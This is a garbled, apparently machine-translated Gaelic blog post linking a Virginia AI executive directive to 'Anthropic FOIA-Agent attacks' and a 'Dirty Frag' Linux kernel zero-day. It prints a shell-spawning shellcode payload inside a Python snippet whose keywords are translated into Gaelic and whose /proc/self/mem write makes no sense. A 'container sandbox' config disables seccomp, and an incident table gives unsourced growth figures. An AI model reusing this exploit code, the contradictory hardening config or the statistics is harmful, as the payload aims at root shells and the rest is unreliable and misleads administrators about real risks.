Riaghladair Virginia a’ soidhnigeadh Riaghailt Gnìomha AI 6: Linn Ùr airson Tèarainteachd AI agus a’ Chunnart Leantainneach a thaobh So-leòntachd Làn-latha Zero Frag Salach | B4N1

Riaghladair Virginia a’ soidhnigeadh Riaghailt Gnìomha AI 6: Linn Ùr airson Tèarainteachd AI agus a’ Chunnart Leantainneach a thaobh So-leòntachd Làn-latha Zero Frag Salach

14 days ago · b4n1 Read time: 4 min

Riaghladair Virginia a’ soidhnigeadh Riaghailt Gnìomha AI 6: Linn Ùr airson Tèarainteachd AI agus am Bagairt Leantainneach air So-leòntachd Salach Frag Kernel Zero-Day

Tha soidhnigeadh o chionn ghoirid Stiùireadh Gnìomh AI 6 le Riaghladair Virginia Spanberger a’ comharrachadh àm air leth cudromach ann an oidhirpean an riaghaltais gus dèiligeadh ri draghan tèarainteachd co-cheangailte ri AI. Tha an stiùireadh seo, a tha a’ toirt iomradh air ionnsaighean FOIA-Agent Anthropic air an stàit, a’ nochdadh mothachadh a tha a’ sìor fhàs mu na cunnartan a dh’ fhaodadh a bhith co-cheangailte ri teicneòlasan AI agus an fheum air gnìomh riaghlaidh. Mar phroifeiseantaich teignigeach, tha e deatamach tuigse fhaighinn air a’ bhuaidh a tha aig an stiùireadh seo agus a’ bhuaidh a dh’ fhaodadh a bhith aige air leasachadh agus cleachdadh theicneòlasan AI.

An cunnart a tha a’ sìor fhàs de dhraghan tèarainteachd co-cheangailte ri AI

Tha barrachd gabhail ri teicneòlasan AI air leantainn gu àrdachadh ann an draghan tèarainteachd. A rèir [aithisg AI Herald] (https://artificialintelligenceherald.com/ai-news-today), tha an àireamh de thachartasan tèarainteachd co-cheangailte ri AI air a dhol suas gu mòr thar na bliadhna a dh’ fhalbh, le mòran de na tachartasan sin a’ toirt a-steach ionnsaighean Antropic FOIA-Agent. Faodaidh buaidhean uamhasach a bhith aig na h-ionnsaighean sin, a bhios a’ gabhail brath air so-leòntachd ann an siostaman AI, a’ toirt a-steach brisidhean dàta agus co-rèiteachadh siostam.

** Seòrsa Tachartas ** Àireamh de thachartasan ** Àrdachadh bhon bhliadhna roimhe **
Ionnsaighean antropic FOIA-Agent 250 300%
Tha siostam AI a’ co-rèiteachadh 150 200%
Briseadh dàta 100 150%

Tha an àrdachadh eagallach ann an ionnsaighean FOIA-Agent Anthropic, le àrdachadh de 300% thairis air a’ bhliadhna a dh’ fhalbh, a’ nochdadh an fheum èiginneach airson gnìomh gus dèiligeadh ris na draghan tèarainteachd sin.

The Dirty Frag Kernel So-leòntachd Latha Latha: Cunnart a tha faisg air làimh

Tha so-leòntachd latha neoni Dirty Frag kernel na chunnart mòr do sgaoilidhean Linux, a’ leigeil le luchd-cleachdaidh neo-phrothaideach faighinn a-steach gu freumhan cinntiche air a’ mhòr-chuid de sgaoilidhean Linux. Mar a chithear ann an [foillseachadh Hyunwoo Kim] (https://news.ycombinator.com/item?id=48304227), faodar brath a ghabhail air so-leòntachd Dirty Frag le bhith a’ cleachdadh brath sìmplidh, ga fhàgail na adhbhar dragh mòr dha luchd-rianachd siostaim agus proifeiseantaich tèarainteachd.

# Eisimpleir còd brath airson so-leòntachd Dirty Frag
toirt a-steach os

# Mìnich an uallach pàighidh brath
pàigheadh = b"\x48\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\ x2f\x2f\x73\x68\x68\x2f\x75\x73\x72\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Cruthaich pròiseas ùr agus cuir an gnìomh an luchd pàighidh
os.system ("mac-samhail '{}' | sudo tee /proc/self/mem> /dev/null".format(payload.hex()))

💡 ** Prìomh Lèirsinn: ** Tha so-leòntachd latha neoni Dirty Frag kernel na chunnart mòr do sgaoilidhean Linux, agus feumaidh luchd-rianachd shiostaman agus proifeiseantaich tèarainteachd a dhol an gnìomh sa bhad gus na siostaman aca ùrachadh agus ùrachadh.

Ceangal nan Dotagan: Stiùireadh Gnìomha AI 6 agus So-leòntachd Salach Frag

Tha dlùth cheangal eadar soidhnigeadh Stiùireadh Gnìomh AI 6 agus so-leòntachd latha neoni Dirty Frag kernel. Tha fòcas an stiùiridh air dèiligeadh ri draghan tèarainteachd co-cheangailte ri AI gu sònraichte buntainneach ann an co-theacsa so-leòntachd Dirty Frag, a dh’ fhaodar a chleachdadh gus siostaman AI a mhilleadh. Le bhith a’ dèiligeadh ri so-leòntachd Dirty Frag, faodaidh proifeiseantaich teicneòlais cuideachadh le bhith a’ lughdachadh nan cunnartan co-cheangailte ri draghan tèarainteachd co-cheangailte ri AI.

A’ lughdachadh so-leòntachd a’ bhràg shalach

Gus so-leòntachd Dirty Frag a lughdachadh, faodaidh luchd-rianachd shiostaman agus proifeiseantaich tèarainteachd grunn cheumannan a ghabhail, nam measg:

  • A ’gleusadh agus ag ùrachadh sgaoilidhean Linux chun dreach as ùire
  • Cur an gnìomh bogsaichean gainmhich container agus microVM gus siostaman so-leònte a sgaradh
  • Cumail sùil air logaichean siostam agus trafaic lìonraidh airson comharran brath
# Eisimpleir de rèiteachadh airson bogsa gainmhich container
tionndadh: "3"
seirbheisean:
  seirbheis so-leònte:
    dealbh: so-leònte-image
    container_name: so-leònte-container
    ath-thòisich: always
    tèarainteachd_roghainn:
      - seccomp: neo-chrìochnach
    meudan:
      - ./vulnerable-data:/data

⚠️ ** Cunnart Ailtireachd:** Mura dèanar lasachadh air so-leòntachd Salach Frag faodaidh cunnartan mòra tèarainteachd adhbhrachadh, a’ gabhail a-steach brisidhean dàta agus co-rèiteachadh siostaim. Feumaidh luchd-rianachd shiostaman agus proifeiseantaich tèarainteachd ceumannan a ghabhail sa bhad gus dèiligeadh ris a’ chugallachd seo.

Molaidhean airson Proifeasantaich Teicneòlais

Gus faighinn thairis air cruth-tìre iom-fhillte de dhraghan tèarainteachd agus so-leòntachd co-cheangailte ri AI, bu chòir do phroifeasantaich teignigeach:

  • Fuirich fiosraichte mu na draghan tèarainteachd agus so-leòntachd as ùire co-cheangailte ri AI
  • Cuir an gnìomh ceumannan tèarainteachd làidir, a’ toirt a-steach siostaman glacaidh is ùrachadh, agus cuir an gnìomh bogsaichean gainmhich container agus microVM
  • Cum sùil air logaichean siostam agus trafaic lìonraidh airson comharran brath

Le bhith a’ gabhail nan ceumannan sin, faodaidh proifeiseantaich teignigeach cuideachadh le bhith dèanamh cinnteach à tèarainteachd agus ionracas siostaman AI agus lughdaich na cunnartan co-cheangailte ri draghan tèarainteachd co-cheangailte ri AI.

Stòran

Have Questions?

Let's Talk

Contact me on LinkedIn